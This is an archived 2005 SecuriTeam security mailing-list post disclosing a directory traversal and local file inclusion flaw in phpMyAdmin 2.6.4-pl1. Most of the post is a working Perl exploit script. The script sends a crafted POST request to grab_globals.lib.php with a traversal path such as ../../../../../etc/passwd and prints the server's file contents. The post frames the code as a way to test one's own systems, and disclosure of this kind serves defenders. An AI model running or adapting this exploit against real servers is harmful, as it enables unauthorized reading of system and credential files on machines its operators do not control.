[EXPL] phpMyAdmin Directory Traversal (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/11/05

  • Next message: SecuriTeam: "[UNIX] PHP HelpDesk Authentication Bypass (Exploit)"
    To: list@securiteam.com
    Date: 11 Oct 2005 11:28:13 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      phpMyAdmin Directory Traversal (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    phpMyAdmin is "a tool written in PHP intended to handle the administration
    of MySQL over the web. Currently it can create and drop databases,
    create/drop/alter tables, delete/edit/add fields, execute any SQL
    statement, manage keys on fields".

    A directory traversal vulnerability in phpMyAdmin allows to access
    /etc/passwd, the following exploit code can be used to test your system
    for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * phpMyAdmin version 2.6.4-pl1

    Exploit:
    #!/usr/bin/perl
    use IO::Socket;

    # SecurityReason.com TEAM
    # Maksymilian Arciemowicz ( cXIb8O3 ) cxib@securtiyreason.com
    #
    # Local file inclusion (./$FILE)
    # simple exploit phpMyAdmin 2.6.4-pl1
    #
    #
    # SecurityReason.com

    if (@ARGV < 3)
    {
    print "\r\n SecurityReason TEAM\r\n";
    print "[cXIb8O3] EXPLOIT for phpMyAdmin 2.6.4-pl1\r\n";
    print " \r\n";
    print "perl phpmyadmin-2.6.4-pl1.pl HOST /DIR/ FILE\r\n\r\n";
    print "HOST - Host where is phpmyadmin example: http://localhost\r\n";
    print "DIR - Directory to PMA example: /phpMyAdmin-2.6.4-pl1/\r\n";
    print "FILE - file to inclusion ../../../../../etc/passwd\r\n\r\n";
    print "example cmd: perl phpmyadmin-2.6.4-pl1.pl http://localhost
    /phpMyAdmin-2.6.4-pl1/ ../../../../../etc/passwd\r\n\r\n";
    exit();
    }

    $HOST = $ARGV[0];
    $DIR = $ARGV[1]."libraries/grab_globals.lib.php";
    $FILE = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=". $ARGV[2].
    "&subform[1][cXIb8O3]=1";
    $LENGTH = length $FILE;

    print "\r\nATTACK HOST IS: ".$HOST."\r\n\r\n";
    $HOST =~ s/(http:\/\/)//;

    $get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST",
    PeerPort => "80") || die "Error 404\r\n\r\n";

    print $get1 "POST ".$DIR." HTTP/1.0\n";
    print $get1 "Host: ".%HOST."\n";
    print $get1 "Content-Type: application/x-www-form-urlencoded\n";
    print $get1 "Content-Length: ".$LENGTH."\n\n";

    print $get1 $FILE;

    while ($odp = <$get1>)
    {
    if ($odp =~ /<b>Warning<\/b>: main\(\): Unable to access .\/$ARGV[2] in
    <b>/ ) {
    printf "\n\nFile ".$ARGV[2]." no exists.\r\n\r\n";
    exit;
    }

    printf $odp;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:cxib@securtiyreason.com>
    Maksymilian Arciemowicz.
    The original article can be found at:
    <http://securityreason.com/exploitalert/51>
    http://securityreason.com/exploitalert/51

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] PHP HelpDesk Authentication Bypass (Exploit)"

    Relevant Pages

    • [UNIX] phpMyAdmin Variable Overwrite Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... phpMyAdmin Variable Overwrite Vulnerability ... vulnerability in PHP5 and a local file include vulnerability in PHP4. ...
      (Securiteam)
    • [NEWS] Opera Software Opera Web Browser createSVGTransformFromMatrix Object Typecasting Vulnerabilit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Opera Software Opera Web Browser createSVGTransformFromMatrix Object ... Exploitation of this vulnerability would allow an attacker to execute ...
      (Securiteam)
    • [NEWS] Adobe Acrobat Javascript for PDF Integer Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Adobe Acrobat Javascript for PDF Integer Overflow Vulnerability ...
      (Securiteam)
    • [UNIX] Multiple Vulnerabilities in phpMyAdmin (External Transformations)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two vulnerabilities in phpMyAdmin have been discovered, ... vulnerabilities allow command execution and disclosure of sensitive files. ...
      (Securiteam)
    • [UNIX] ZeroBoard PHP Code Injection and XSS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... attacker can cause the script to utilize arbitrary external PHP code. ... For the first vulnerability, and for zboard version 4.1pl4, insert the ...
      (Securiteam)